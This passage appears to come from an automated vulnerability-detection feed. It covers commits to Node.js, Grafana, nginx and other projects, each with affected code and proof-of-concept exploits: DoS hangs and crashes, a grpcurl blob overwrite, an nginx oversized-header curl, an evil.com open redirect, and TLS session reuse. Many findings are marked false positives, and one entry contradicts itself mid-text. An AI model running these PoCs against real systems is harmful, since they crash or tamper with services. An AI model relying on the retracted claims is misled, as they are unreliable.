3. On the server, the session's `closed` promise rejects but is unobserved, triggering Node's default `unhandledRejection` handler, which terminates the process — allowing any remote client to crash the server.

⚠️ MEDIUM VERIFIED Denial of Service (Uncontrolled Resource Consumption / Infinite Loop)

Jul 6, 2026, 03:15 PM — nodejs/node

Commit: 1e14be8f786321ce9c215b96d2dbf92394749515

Author: Ic3b3rg

BrotliCompress/BrotliDecompress.flush(kind) forwarded any user-supplied value directly to the native brotli encoder/decoder without validating it was within the valid brotli operation range \[0,3\]. Passing an out-of-range value such as Z_FINISH (4) or Z_BLOCK causes the native layer to spin at 100% CPU indefinitely, allowing an attacker who controls the flush argument (e.g., in a server that exposes stream flushing based on user input) to cause a denial of service. The patch validates the kind against the brotli bound range and throws ERR_OUT_OF_RANGE for invalid values.

🔍 View Affected Code & PoC

Affected Code

ZlibBase.prototype.flush = function(kind, callback) {
  ...
  if (this.writableFinished) {
    if (callback)
      process.nextTick(callback);
  } else if (this.writableEnded) {
  ...
  } // kind forwarded to native layer without range validation

Proof of Concept

const zlib = require('zlib');
const c = zlib.createBrotliCompress();
c.flush(zlib.constants.Z_FINISH); // value 4, outside brotli's valid [0,3] range
// Before the patch: process spins at 100% CPU indefinitely (hang), causing a DoS.
// After the patch: throws RangeError [ERR_OUT_OF_RANGE]: The value of "kind" is out of range.

⚠️ MEDIUM VERIFIED Null Pointer Dereference (CWE-476)

Jul 6, 2026, 02:05 PM — nodejs/node

Commit: 8a84e6be900edfb5764e4ec9acff0c0b0c4d8f34

Author: ympark2011

The inspector's ProtocolHandler::WriteRaw() dereferenced the tcp_ pointer without checking for null. When a remote debugger client disconnects, OnEof() resets tcp_ to nullptr, but queued write requests scheduled via uv_async callbacks or triggered during ParseWsFrames() processing could still invoke Write()/WriteRaw() afterward, causing a crash (EXCEPTION_ACCESS_VIOLATION) due to null pointer dereference. This is remotely triggerable by a debugger client that connects to the Node.js inspector port and disconnects at a specific time while messages are still queued or being processed, resulting in a denial-of-service crash of the Node.js process.

🔍 View Affected Code & PoC

Affected Code

int ProtocolHandler::WriteRaw(const std::vector<char>& buffer,
                              uv_write_cb write_cb) {
  return tcp_->WriteRaw(buffer, write_cb);
}

Proof of Concept

1. Start Node.js with --inspect to expose the debugger websocket.
2. Connect a WebSocket client to the inspector endpoint.
3. Send a compressed or malformed frame that triggers OnEof() internally during ParseWsFrames() processing (e.g., a frame with an unsupported compression extension flag), while also queuing an outgoing message (e.g., inspector protocol response) via the uv_async mechanism on the same event loop iteration.
4. Alternatively, abruptly disconnect the TCP connection (close socket) right after sending a request that causes the server to queue a response, so OnEof() resets tcp_ to nullptr before the async write callback fires.
5. The subsequent call to WsHandler::Write() -> ProtocolHandler::WriteRaw() dereferences the null tcp_ pointer (tcp_->WriteRaw(...)), causing an EXCEPTION_ACCESS_VIOLATION crash and terminating the Node.js process (DoS).
❌ Corrections & Retractions (63)

⚠️ MEDIUM FALSE POSITIVE Denial of Service (Unbounded Memory Growth / Memory Leak)

Commit: 35115c05adcf6ec81f4a69b8ac7e8d1b7420c206

Author: Matteo Collina

The previous implementation of removeListener kept the removed event key in the internal `_events` object with an `undefined` value instead of deleting it, in order to preserve object shape for performance. When an application uses dynamically generated or attacker-influenced event names (e.g., per-connection IDs, user-supplied strings) and repeatedly adds/removes listeners for unique names, the `_events` object grows without bound because keys are never actually removed, leading to unbounded memory consumption and potential denial of service. The patch restores shape-mode only for emitters whose `_events` object matches the class prototype (fixed set of known keys) while properly deleting dynamic keys (or resetting `_events`) for ordinary emitters with unstructured event names.

🔍 View Affected Code & PoC

Affected Code

// Leave the key in place with an `undefined` value...
events[type] = undefined;

Proof of Concept

const EventEmitter = require('events');
const ee = new EventEmitter();
for (let i = 0; i < 1000000; i++) {
  const eventName = `event-${i}`; // e.g. derived from attacker-controlled input
  ee.on(eventName, () => {});
  ee.removeListener(eventName, () => {});
}
// Before the patch, ee._events retains 1,000,000 keys with undefined values,
// causing continuous memory growth proportional to the number of unique
// dynamic event names ever used, exhausting process memory over time.

💡 LOW FALSE POSITIVE Improper Input Validation / Data Structure Corruption

Commit: 7d941ec7e8b19b0ec4c4316780e1eaf39c318095

Author: Trivikram Kamat

MemoryProvider.renameSync() did not check whether the destination path was a descendant of the source directory being renamed. Renaming a directory into one of its own subdirectories detached the subtree from the root of the virtual filesystem, corrupting the internal tree structure and causing data (files/directories) to become unreachable, effectively leading to data loss/denial of service within the VFS. The patch adds a check that throws EINVAL before any mutation occurs if the destination path starts with the source path plus a separator.

🔍 View Affected Code & PoC

Affected Code

const entry = this.#getEntry(normalizedOld, 'rename', false);
// no check for descendant path
const newParent = this.#ensureParent(normalizedNew, false, 'rename');
const newName = pathPosix.basename(normalizedNew);

Proof of Concept

const vfs = require('node:vfs');
const myVfs = vfs.create();
myVfs.mkdirSync('/a/b', { recursive: true });
myVfs.writeFileSync('/a/file.txt', 'data');
myVfs.renameSync('/a', '/a/b/c'); // detaches '/a' subtree, corrupting the VFS tree and making '/a/file.txt' unreachable

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: dc15da3df5ba49b07a41b8552d96f25954ad2b49

Author: Antoine du Hamel

The code was passing property descriptor objects to `ObjectDefineProperty` without setting `__proto__: null`, meaning the descriptor objects inherited from `Object.prototype`. If an attacker could pollute `Object.prototype` with properties like `get` or `value`, the descriptor could become malformed (e.g., having both `value` and `get`), causing `ObjectDefineProperty` to throw a TypeError or behave unexpectedly. The patch adds `__proto__: null` to all descriptor objects to prevent prototype chain lookups from interfering with property definition operations.

🔍 View Affected Code & PoC

Affected Code

const desc = { enumerable: true, value };
ObjectDefineProperty(DOMException, codeName, desc);
ObjectDefineProperty(DOMExceptionPrototype, codeName, desc);

Proof of Concept

// Exploit via prototype pollution:
Object.prototype.get = function() { return 'polluted'; };
// Now desc = { enumerable: true, value } also inherits `get` from Object.prototype
// ObjectDefineProperty sees both `value` and `get` in the descriptor chain -> throws TypeError
// This can cause Node.js DOMException initialization to fail, crashing the process
const { DOMException } = require('vm').runInNewContext('({DOMException})');
new DOMException('test'); // Would throw due to invalid descriptor

⚠️ MEDIUM FALSE POSITIVE Broken Access Control / Authorization Bypass

Commit: 51bb33b28023deb8c4f3d00e2236cb24db7ab148

Author: Cory Forseth

The `authzLimitedClient` allowlist was missing `teams` for `iam.grafana.app`, causing the client to short-circuit to allow-all for team resources. When Grafana instances ran in dual-writer mode 4/5 (serving teams from unified storage), any authenticated user could list, search, and read all teams regardless of their `teams:read` permissions. The fix adds `teams` to the allowlist so the real access client enforces RBAC checks.

🔍 View Affected Code & PoC

Affected Code

"iam.grafana.app":       map[string]interface{}{"users": nil},

Proof of Concept

On a Grafana instance in unified storage mode 4 or 5:
1. Create two orgs with teams visible only to org admins.
2. Authenticate as a low-privilege user (viewer) with no teams:read scope.
3. GET /api/teams/search or issue a gRPC List for iam.grafana.app/teams
4. Before patch: all teams returned regardless of permissions.
5. After patch: only teams the user has teams:read on are returned.

Curl example:
curl -u viewer:password 'https://grafana-host/api/teams/search' 
# Returns all teams instead of 403/empty list

🔥 HIGH FALSE POSITIVE Multiple: TLS hostname normalization bypass, WebCrypto buffer overflow, credential exposure, HTTP/2 DoS, SNI case-sensitivity bypass, NUL byte hostname injection, TLS session hijacking, HTTP response queue poisoning

Commit: d001e26f406441b86c8b243b7b2a4212b850aa31

Author: Antoine du Hamel

This is a Node.js security release patching 11 CVEs across multiple components. The highest severity issues (High) include CVE-2026-48618 (TLS server identity checks not normalizing hostnames, allowing bypass via mixed-case or encoded hostnames) and CVE-2026-48933 (WebCrypto cipher output length not guarded, potentially causing out-of-bounds writes). Medium severity issues include session hijacking via reused TLS sessions not bound to authenticated host (CVE-2026-48934), case-sensitive SNI matching bypass (CVE-2026-48928), and NUL byte injection in hostnames (CVE-2026-48930).

🔍 View Affected Code & PoC

Affected Code

// TLS session reuse not bound to authenticated host (CVE-2026-48934)
// Sessions could be reused for a different host than the one authenticated
// SNI matching was case-sensitive (CVE-2026-48928)
// Hostnames with embedded NUL bytes were accepted (CVE-2026-48930)
// WebCrypto cipher output length unchecked (CVE-2026-48933)

Proof of Concept

// CVE-2026-48930: NUL byte hostname injection
const net = require('net');
net.createConnection({ host: 'legitimate.com\x00evil.com', port: 443 });
// Before patch: NUL byte would truncate hostname in C-level DNS resolution,
// causing connection to 'legitimate.com' at JS level but 'evil.com' at OS level

// CVE-2026-48618: TLS hostname normalization bypass
const tls = require('tls');
tls.connect({ host: 'EVIL.COM', servername: 'legitimate.com' });
// Before patch: uppercase hostname would bypass identity check normalization

// CVE-2026-48934: TLS session reuse across hosts
// Connect to attacker.com, get session ticket, reuse for victim.com
const s1 = tls.connect({host:'attacker.com', port:443});
s1.on('session', (session) => {
  const s2 = tls.connect({host:'victim.com', port:443, session});
  // Before patch: session would be reused without host verification
});

🔥 HIGH FALSE POSITIVE TLS Session Resumption Host Verification Bypass

Commit: 140355e914f9e1f0b80781ed094d9c938b205b7e

Author: Matteo Collina

This commit adds regression tests for CVE-2020-8172, which was re-reported via HackerOne report #3649802. The vulnerability allows TLS session resumption to bypass hostname/certificate verification when connecting to a different server than the one the session was originally established with. When a TLS session ticket from a connection to 'agent1' (with its certificate) is reused for a connection to 'agent3' (with a different, unverifiable certificate), the session resumption skips the full TLS handshake and certificate verification, allowing the connection to succeed even though agent3's certificate cannot be verified against the provided CA.

🔍 View Affected Code & PoC

Affected Code

// In tls.connect() / https.get() / h2.connect():
// When session option is provided, TLS session resumption occurs
// and certificate verification for the NEW servername is bypassed
// because the resumed session skips the full handshake/cert exchange

Proof of Concept

// 1. First, establish a legitimate TLS connection to 'agent1' and capture the session ticket
const session1 = await connectAndCaptureSession({ port, host: '127.0.0.1', servername: 'agent1', ca: [ca1cert] });

// 2. Reuse that session ticket when connecting to 'agent3' (which has an unverifiable cert)
// BEFORE the fix: this succeeds (reused=true, authorized=true or bypasses rejectUnauthorized)
// AFTER the fix: this correctly rejects with UNABLE_TO_VERIFY_LEAF_SIGNATURE
const socket = await tls.connect({ port, host: '127.0.0.1', servername: 'agent3', session: session1, ca: [ca1cert], rejectUnauthorized: true });
// Attacker can now communicate with agent3 as if it were properly verified

🔥 HIGH FALSE POSITIVE Multiple: TLS hostname normalization bypass, WebCrypto output length, NUL byte injection, HTTP response queue poisoning, TLS session reuse, credential exposure

Commit: 26badaa6e15a6797710cbae21cfa717de5cf8527

Author: Antoine du Hamel

This is a Node.js security release (v22.23.0) patching 11 CVEs. The most severe include: CVE-2026-48618 (TLS hostname normalization bypass allowing MITM), CVE-2026-48933 (WebCrypto cipher output length not guarded allowing potential buffer overread), CVE-2026-48930 (NUL byte injection in DNS/net hostnames bypassing hostname validation), and CVE-2026-48934 (TLS sessions reused across different authenticated hosts). The patch adds hostname normalization, output length guards, NUL byte rejection, and binds TLS sessions to authenticated hosts.

🔍 View Affected Code & PoC

Affected Code

// TLS: hostname not normalized before server identity check - CAPITAL letters or trailing dots could bypass cert validation
// DNS/net: hostnames with embedded NUL bytes (e.g. 'evil.com\x00.good.com') passed through
// TLS: session reuse not bound to authenticated host, allowing session from host A to be reused for host B
// WebCrypto: cipher output buffer length not validated before use

Proof of Concept

// CVE-2026-48930: NUL byte injection in hostname
const dns = require('dns');
dns.lookup('attacker.com\x00.trusted.com', (err, addr) => { /* before patch: NUL truncates hostname in C layer, resolves attacker.com while appearing to resolve trusted.com */ });

// CVE-2026-48618: TLS hostname case bypass
const tls = require('tls');
// Certificate for 'example.com', connect with 'EXAMPLE.COM' - before patch identity check was case-sensitive or not normalized
tls.connect({host: 'EXAMPLE.COM', servername: 'EXAMPLE.COM'});

// CVE-2026-48934: TLS session reuse across hosts
// 1. Connect to attacker.com, get TLS session ticket
// 2. Reuse that session ticket when connecting to victim.com - before patch session was not bound to authenticated host

🔥 HIGH FALSE POSITIVE Multiple: TLS hostname normalization bypass, credential leakage, NUL byte injection, session hijacking, memory exhaustion, SNI case-sensitivity bypass

Commit: 4547bca84f8133c75d500feab48a1ec7d844aa94

Author: Antoine du Hamel

This is a Node.js security release (v24.17.0) that patches 11 CVEs. The highest severity issues (High) are CVE-2026-48618 (TLS server identity checks not normalizing hostnames, allowing bypass via uppercase/punycode variants) and CVE-2026-48933 (WebCrypto cipher output length not guarded, potentially causing buffer overflows or incorrect behavior). Additional Medium issues include TLS session reuse bound to wrong host (CVE-2026-48934), NUL byte injection in DNS/net hostnames (CVE-2026-48930), case-sensitive SNI matching bypass (CVE-2026-48928), and proxy credential leakage in tunnel errors (CVE-2026-48615).

🔍 View Affected Code & PoC

Affected Code

// CVE-2026-48618: TLS hostname not normalized before server identity check
// CVE-2026-48930: NUL bytes in hostnames not rejected
// CVE-2026-48934: TLS session reuse not bound to authenticated host
// CVE-2026-48928: SNI context matched case-sensitively

Proof of Concept

// CVE-2026-48930: NUL byte injection in DNS lookup
const dns = require('dns');
dns.lookup('evil.com\x00.trusted.com', (err, addr) => { /* Before patch, NUL byte not rejected, could cause C-level string truncation treating host as 'evil.com' */ });

// CVE-2026-48618: TLS hostname normalization bypass
const tls = require('tls');
// Before patch: connecting to 'EXAMPLE.COM' or 'xn--...' punycode variant
// might bypass certificate identity verification
tls.connect({ host: 'EXAMPLE.COM', servername: 'example.com' });

// CVE-2026-48934: Session reuse to wrong host
// Before patch: a TLS session established with evil.com could be reused for trusted.com
const s = tls.connect({ host: 'evil.com' }, () => {
  const session = s.getSession();
  // Reuse session for different host - bypasses certificate verification
  tls.connect({ host: 'trusted.com', session });
});

💣 CRITICAL FALSE POSITIVE Use-After-Free / Heap Buffer Overflow

Commit: 2fd01ed47a1fd2965754c83f53b33a789d0e07f1

Author: Sergey Kandaurov

This release patches multiple security vulnerabilities in nginx 1.31.2, including a use-after-free in HTTP/3 QUIC session handling (CVE-2026-42530) that allows worker process memory corruption or segfault, a heap buffer overflow when proxying requests with 'ignore_invalid_headers off' and large 'large_client_header_buffers' values to HTTP/2 or gRPC backends (CVE-2026-42055), and a heap buffer overread in charset_map UTF-8 decoding (CVE-2026-48142). These vulnerabilities allow remote attackers to corrupt worker process memory or cause denial of service, with potential for arbitrary code execution.

🔍 View Affected Code & PoC

Affected Code

HTTP/3 QUIC session handling code (use-after-free), HTTP/2 upstream header processing with ignore_invalid_headers off (heap overflow), charset_map UTF-8 decode path (heap overread) - specific source files not shown in diff but referenced by CVE-2026-42530, CVE-2026-42055, CVE-2026-48142

Proof of Concept

CVE-2026-42055 PoC: Configure nginx with 'ignore_invalid_headers off; large_client_header_buffers 4 256k;' and proxy_pass to HTTP/2 backend. Send: curl -k --http2 https://target/ -H "$(python3 -c 'print("X-" + "A"*65536)'):value" -- this crafts an oversized header that triggers heap overflow when copied into upstream HTTP/2 request buffer. CVE-2026-42530 PoC: Send a specially crafted QUIC session to the HTTP/3 listener that triggers object reuse after free during connection teardown, e.g., using a QUIC fuzzer that sends RESET_STREAM followed by STREAM frames referencing the freed stream object.

⚠️ MEDIUM FALSE POSITIVE Improper Input Validation

Commit: dbaf45cfbef54d97015479be586d0409d2646e4c

Author: Filip Skokan

Before the patch, the `aliasKeyFormat` function treated all raw format aliases (`raw-public` and `raw-secret`) identically, allowing any alias to be used for any algorithm. This meant that `raw-secret` format could be used to import public keys for ECDSA/ECDH/Ed25519/X25519, and `raw-public` format could be used to import secret keys for HKDF/PBKDF2, bypassing intended format restrictions. The patch makes the alias resolution directional, so each algorithm only accepts its specific valid alias.

🔍 View Affected Code & PoC

Affected Code

function aliasKeyFormat(format) {
  switch (format) {
    case 'raw-public':
    case 'raw-secret':
      return 'raw';
    default:
      return format;
  }
}

Proof of Concept

// Before the patch, this would succeed when it should fail:
const { subtle } = globalThis.crypto;
// Import a public ECDSA key using 'raw-secret' format (should be rejected)
const { publicKey } = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']);
const keyData = await subtle.exportKey('raw', publicKey);
// This should throw NotSupportedError but before the patch it succeeded:
const importedKey = await subtle.importKey('raw-secret', keyData, { name: 'ECDSA', namedCurve: 'P-256' }, true, ['verify']);
// Similarly, importing HKDF secret using 'raw-public':
const secretData = new Uint8Array(32);
const hkdfKey = await subtle.importKey('raw-public', secretData, 'HKDF', false, ['deriveBits']); // should fail but didn't

🔥 HIGH FALSE POSITIVE Authorization Bypass / Cache Poisoning

Commit: 99631827e2ab93f23ea62802bbb84d9a2307ba06

Author: Mihai Turdean

The List response helpers (typedObjects, genericObjects, folderObject) mutated the input slice in-place by stripping the object-type prefix from the shared cache entry. When CheckQueryCacheEnabled (the default) was active, a List call would corrupt the cached ListObjectsResponse so that subsequent BatchCheck calls — which rely on full typed idents like 'folder:&lt;uid&gt;' for membership lookups — would fail to match and incorrectly deny access to resources the user was directly authorized to access. The patch fixes this by allocating a new output slice instead of mutating the cached input.

🔍 View Affected Code & PoC

Affected Code

func typedObjects(typ string, objects []string) []string {
	prefix := typ + ":"
	for i := range objects {
		objects[i] = strings.TrimPrefix(objects[i], prefix) // mutates the cached slice
	}
	return objects
}

Proof of Concept

1. User:1 has a direct role grant on dashboard '1' (resource:dashboard.grafana.app/dashboards/1).
2. Call List(subject='user:1', group='dashboard.grafana.app', resource='dashboards') — this populates the query cache with full idents, then strips them in-place, corrupting the cached entry to bare ids like '1' instead of 'resource:dashboard.grafana.app/dashboards/1'.
3. Call BatchCheck(subject='user:1', checks=[{verb='get', group='dashboard.grafana.app', resource='dashboards', name='1'}]) — this hits the cache, tries to match 'resource:dashboard.grafana.app/dashboards/1' against the now-corrupted '1' entries, fails the membership lookup, and returns allowed=false even though the user has direct access.
Result: User:1 is incorrectly denied access to dashboard '1' after any prior List call.

🔥 HIGH FALSE POSITIVE Incorrect Authorization / Mass Data Modification

Commit: f82d5692c45fc7d248724b7fc895a6c842e766a4

Author: Kenta Ishizaki

When calling `update_all` or `delete_all` on a Rails ActiveRecord relation that uses `group`/`having` but no `joins`, `limit`, `offset`, or `order`, the HAVING clause was silently dropped. The base Arel visitor's `prepare_update_statement` only checked `has_limit_or_offset_or_orders?` and `has_join_sources?` before deciding whether to wrap in a subquery, missing `has_group_by_and_having?`. This caused the generated SQL to omit the HAVING filter entirely, resulting in ALL rows being updated or deleted instead of only those matching the HAVING condition. The patch adds `has_group_by_and_having?` to the condition so the primary-key subquery rewrite is applied, properly restricting affected rows.

🔍 View Affected Code & PoC

Affected Code

def prepare_update_statement(o)
  if o.key && (has_limit_or_offset_or_orders?(o) || has_join_sources?(o))

Proof of Concept

# Assume Post table has rows: (id:1, title:'low', legacy_comments_count:0), (id:2, title:'mid', legacy_comments_count:3), (id:3, title:'high', legacy_comments_count:9)
# Expected: only posts with MAX(legacy_comments_count) >= 3 (ids 2 and 3) should be updated
Post.where(id: [1,2,3]).group('posts.id').having('MAX(legacy_comments_count) >= 3').update_all(title: 'updated')
# BEFORE patch: emits 'UPDATE posts SET title = ? WHERE id IN (1,2,3)' -- ALL three rows updated including id:1
# AFTER patch: emits 'UPDATE posts SET title = ? WHERE id IN (SELECT id FROM posts WHERE id IN (1,2,3) GROUP BY posts.id HAVING MAX(legacy_comments_count) >= 3)' -- only ids 2 and 3 updated
# An attacker or misconfigured application code that intends to bulk-update only a filtered subset silently corrupts ALL matching rows, leading to unintended mass data modification.

⚠️ MEDIUM FALSE POSITIVE HTTP Header Injection (CRLF Injection)

Commit: 2e70ffaf76981fefd4b413e16a1b348a9273c6db

Author: Yuri Tseretyan

Before the patch, metadata values from alert rule labels were URL-encoded and placed directly into HTTP headers without stripping control characters (including CR `\\r` and LF `\\n`). An attacker who could control alert rule labels (e.g., via a plugin-originated rule) could inject arbitrary HTTP headers into datasource eval requests by embedding CRLF sequences in label values. The patch adds `sanitizeHeaderValue()` which strips all ASCII control characters (&lt; 0x20 and 0x7F) before encoding, preventing header injection.

🔍 View Affected Code & PoC

Affected Code

headers[fmt.Sprintf("http_X-Rule-%s", key)] = url.QueryEscape(value)

Proof of Concept

Set an alert rule label value to: `legitimate-value\r\nX-Injected-Header: malicious` — before the patch, this would be passed through url.QueryEscape which encodes spaces but NOT CR/LF (since %0D%0A are valid percent-encoded but the raw bytes \r\n in the string would not be encoded by url.QueryEscape if already present as literal bytes in Go string). Actually, since url.QueryEscape does encode \r and \n, the more precise attack vector is via other control characters below 0x20 that could corrupt the header value, or through the Origin metadata key being set to `plugin/grafana-slo-app\r\nX-Injected: evil` which would be inserted as `http_X-Rule-Origin: plugin/grafana-slo-app\r\nX-Injected: evil` in the headers map before being forwarded to the datasource backend.

⚠️ MEDIUM FALSE POSITIVE Buffer Over-read / Infinite Loop leading to Memory Corruption

Commit: 2c5ee792f5d37d951b86c24db37035705a1b0c46

Author: Joe Orton

The bug in `send_request` used `remain` (the original chunk size) instead of `wlen` (the actual bytes sent) to advance the write buffer pointer. When `apr_socket_send` performed a partial write (sending fewer bytes than requested), the pointer would advance past the already-sent data by `remain` bytes instead of `wlen` bytes, causing subsequent sends to read from the wrong memory location — potentially sending uninitialized or out-of-bounds memory to the OCSP responder, or causing an infinite loop if wlen is 0. This could lead to information disclosure (sending heap/stack memory contents to a remote OCSP server) or a denial of service.

🔍 View Affected Code & PoC

Affected Code

rv = apr_socket_send(sd, wbuf, &wlen);
wbuf += remain;  // BUG: should be wbuf += wlen
remain -= wlen;

Proof of Concept

Trigger a partial write scenario by configuring a slow/congested OCSP responder that causes apr_socket_send() to return APR_SUCCESS with wlen < remain (partial send). In this case: if remain=1000 and wlen=500, wbuf advances by 1000 instead of 500, skipping 500 bytes of the request body. The OCSP server receives garbled/truncated request data drawn from adjacent heap memory. An attacker controlling the OCSP responder endpoint (via DNS manipulation or MITM on the OCSP URL) could observe the leaked memory contents from the httpd process heap.

⚠️ MEDIUM FALSE POSITIVE Uninitialized Memory Read / NULL Pointer Dereference

Commit: 458c37b019c8c9a88124b591ca398267e7d784b0

Author: Nora Dossche

When deflateInit2() fails with Z_VERSION_ERROR (e.g., due to a zlib version mismatch between compile-time and runtime), the zlib library does not initialize the strm_.msg field to NULL. Node.js's error handling code then reads this uninitialized pointer as a C string, causing a crash (SIGSEGV/segfault). The fix initializes strm_.msg to nullptr before the switch statement so that error emission is safe even when initialization fails with Z_VERSION_ERROR.

🔍 View Affected Code & PoC

Affected Code

switch (mode_) {
    case DEFLATE:
    case GZIP:
    // ... deflateInit2() called, on Z_VERSION_ERROR strm_.msg is uninitialized
    // ErrorForMessage() then reads strm_.msg as a C string -> crash

Proof of Concept

// Trigger by running Node.js built against one version of zlib but loading a different zlib version at runtime
// In a test environment with mismatched zlib:
const zlib = require('zlib');
// Attempting to create a Deflate stream triggers deflateInit2() which returns Z_VERSION_ERROR
// Node then tries to emit the error using strm_.msg (uninitialized pointer) -> SIGSEGV
const deflate = zlib.createDeflate();
// Process crashes with: AddressSanitizer: SEGV on unknown address in __strlen_avx2

⚠️ MEDIUM FALSE POSITIVE Open Redirect

Commit: bc384860d5f0b77a3cab9769ca4b1a0d7f5ce2fe

Author: Joseph

The documentation example code for a session token exchange endpoint contained an open redirect vulnerability. The `redirect_url` query parameter was passed directly to `new URL()` and used as the redirect destination without validating that the destination was the same origin, allowing attackers to redirect users to arbitrary external URLs after setting a session cookie. The patch adds an origin check that returns a 400 error if the destination origin differs from the request origin.

🔍 View Affected Code & PoC

Affected Code

const response = NextResponse.redirect(new URL(redirectUrl, request.url))

response.cookies.set({
  value: token,

Proof of Concept

GET /api/auth/callback?session_token=VALID_TOKEN&redirect_url=https://evil.com

This causes the server to set the session cookie and then redirect the user to https://evil.com, enabling phishing attacks or credential/token theft after authentication.

⚠️ MEDIUM FALSE POSITIVE Uncontrolled Recursion / Stack Overflow

Commit: 40586837cbd30ad814d10bae5b38c5dbe5b4f9f6

Author: Renato Costa

The dashboard summary parser had unbounded recursion when processing deeply nested `spec` or `panels` fields in dashboard JSON. An attacker could craft a dashboard JSON with deeply nested `spec` objects or `panels` arrays to cause a stack overflow or excessive CPU/memory consumption during dashboard indexing/search operations. The patch limits `spec` nesting to 1 level and `panels` nesting to 4 levels deep.

🔍 View Affected Code & PoC

Affected Code

case "spec":
    return readDashboardIter(jsonPath+".spec", iter, lookup, lc)

// and in readpanelInfo:
p, ok := readpanelInfo(iter, lookup, fmt.Sprintf("%s.panels[%d]", jsonPath, ix), lc)

Proof of Concept

Submit a dashboard JSON with 10000 levels of nested spec: {"spec":{"spec":{"spec":...{"title":"deep"}...}}} via the Grafana dashboard save API. Before the patch, this would cause unbounded recursive function calls in readDashboardIter, leading to a goroutine stack overflow and crashing the Grafana backend process.

⚠️ MEDIUM FALSE POSITIVE Null Pointer Dereference / Denial of Service

Commit: 1e02b489120b02f346c77188039b9c167329a260

Author: Renato Costa

Before the patch, the List and Watch handlers in the resource server would panic (crash) if a request was received with a nil Options or nil Options.Key field. Specifically, `span.SetAttributes(attribute.String("group", req.Options.Key.Group), ...)` would dereference a nil pointer if `req.Options` or `req.Options.Key` was nil. The patch adds early validation checks before these dereferences to return a proper gRPC InvalidArgument error instead of crashing.

🔍 View Affected Code & PoC

Affected Code

func (s *server) List(ctx context.Context, req *resourcepb.ListRequest) (*resourcepb.ListResponse, error) {
	ctx, span := tracer.Start(ctx, "resource.server.List")
	span.SetAttributes(attribute.String("group", req.Options.Key.Group), attribute.String("resource", req.Options.Key.Resource))
	defer span.End()

Proof of Concept

// Send a ListRequest with nil Options to crash the server:
client.List(ctx, &resourcepb.ListRequest{}) // req.Options is nil, causes nil pointer dereference at req.Options.Key.Group
// Or send with nil Key:
client.List(ctx, &resourcepb.ListRequest{Options: &resourcepb.ListOptions{}}) // req.Options.Key is nil, same crash

⚠️ MEDIUM FALSE POSITIVE Header/Trailer Injection

Commit: 671ee0cfbf9f20f997ec80fb1687cd77b8f510bd

Author: Roberto Jiménez Sánchez

Before the patch, user-controlled fields (userName, userLogin, userEmail) were interpolated directly into git commit messages without sanitizing newline characters. An attacker with a Grafana account could set their display name or login to contain CR/LF sequences, forging additional git trailers (e.g., 'Signed-off-by:', 'Co-authored-by:') in the resulting commit message. The patch sanitizes these fields by collapsing any CR/LF to a single space before interpolation.

🔍 View Affected Code & PoC

Affected Code

// No sanitization before interpolation into commit message template
// and before building the Grafana-saved-by trailer
const trailer = `Grafana-saved-by: ${userName} (${userLogin})`;
// userName/userLogin/userEmail came directly from user profile without stripping newlines

Proof of Concept

Set Grafana user display name to: 'Ada Lovelace\n\nGrafana-saved-by: root (admin)\nSigned-off-by: [email protected]'
When a dashboard is saved, the resulting git commit message would contain:

Save dashboard: Test

Grafana-saved-by: Ada Lovelace

Grafana-saved-by: root (admin)
Signed-off-by: [email protected]

This forges additional git trailers attributing the commit to arbitrary identities.

🔥 HIGH FALSE POSITIVE Missing Authorization / Broken Access Control

Commit: 5353666ef455160905c75227fda7c057b201661d

Author: Rafael Bortolon Paulovic

Five gRPC RPCs on the unified-storage resource server (PutBlob, GetBlob, ListManagedObjects, CountManagedObjects, RebuildIndexes) had no authorization checks of their own, relying entirely on upstream callers to enforce access control. In deployments where the gRPC surface is reachable directly (e.g., misconfigured network policy or internal service-mesh bypass), any authenticated user could read/write blobs and managed-object indexes across arbitrary namespaces without restriction. The patch adds namespace-matching guards and an access.Check call on PutBlob to enforce authorization at the RPC layer itself.

🔍 View Affected Code & PoC

Affected Code

func (s *server) PutBlob(ctx context.Context, req *resourcepb.PutBlobRequest) (*resourcepb.PutBlobResponse, error) {
	if s.blob == nil {
		return &resourcepb.PutBlobResponse{Error: &resourcepb.ErrorResult{
			Message: "blob store not configured",
			Code:    http.StatusNotImplemented,
		}}, nil
	}
	rsp, err := s.blob.PutResourceBlob(ctx, req)
	...

Proof of Concept

# Direct gRPC call without a valid namespace-matching user identity:
grpcurl -plaintext -d '{"resource":{"group":"playlist.grafana.app","resource":"playlists","namespace":"victim-org","name":"target"},"method":0,"content_type":"image/png","value":"AAAA"}' storage-server:10000 resource.BlobStore/PutBlob
# Before the patch: succeeds and overwrites the victim org's blob with no authz check.
# After the patch: returns HTTP 401 (no user in ctx) or 403 (namespace mismatch).

🔥 HIGH FALSE POSITIVE Use-After-Free / Memory Safety (Unsound Lifetime Transmutation)

Commit: 1b77dba691ef7320ce3ff293955948fce961708c

Author: Tobias Koppers

The previous `IntoIterator` impl for `ReadRef&lt;T&gt;` used `transmute_copy` to fabricate `&'static`-typed item references, allowing those references to outlive the `ReadRef` that owned the backing storage. When the `ReadRef` was dropped (e.g., after a `try_join` or intermediate `Drop`), any stashed references became dangling, constituting a use-after-free. This was exploited by turbo-tasks cell eviction releasing underlying storage, causing memory corruption observable as panics with impossible string lengths during JSON serialization.

🔍 View Affected Code & PoC

Affected Code

// Old impl used transmute_copy to produce &'static references:
// Iterator::Item = &'static I, allowing references to escape
// the iterator and outlive the ReadRef's backing Arc storage.
// References stashed in futures/Vecs/map keys after ReadRef dropped.

Proof of Concept

In `project_asset_hashes_manifest.rs`, the old code called `output_assets.into_iter()` which yielded `&'static RcStr` references (via transmute). These were stored in `asset_paths` while `output_assets` ReadRef was consumed. After a `try_join` dropped the iterator/ReadRef, turbo-tasks cell eviction could free the backing `Arc`. Accessing `asset_paths` during JSON serialization then read freed memory, producing: `panicked at turbopack/crates/turbo-rcstr/src/lib.rs:132:52: range end index 13 out of range for slice of length 7` — `len=13` is impossible for a valid inline RcStr (max 7), proving the byte was read from freed/reused memory.

🔥 HIGH FALSE POSITIVE Resource Exhaustion / Denial of Service (Slowloris-style attack)

Commit: 866caa61f3b8f3a6f4f3e0ebb28ced0953ef3431

Author: James M Snell

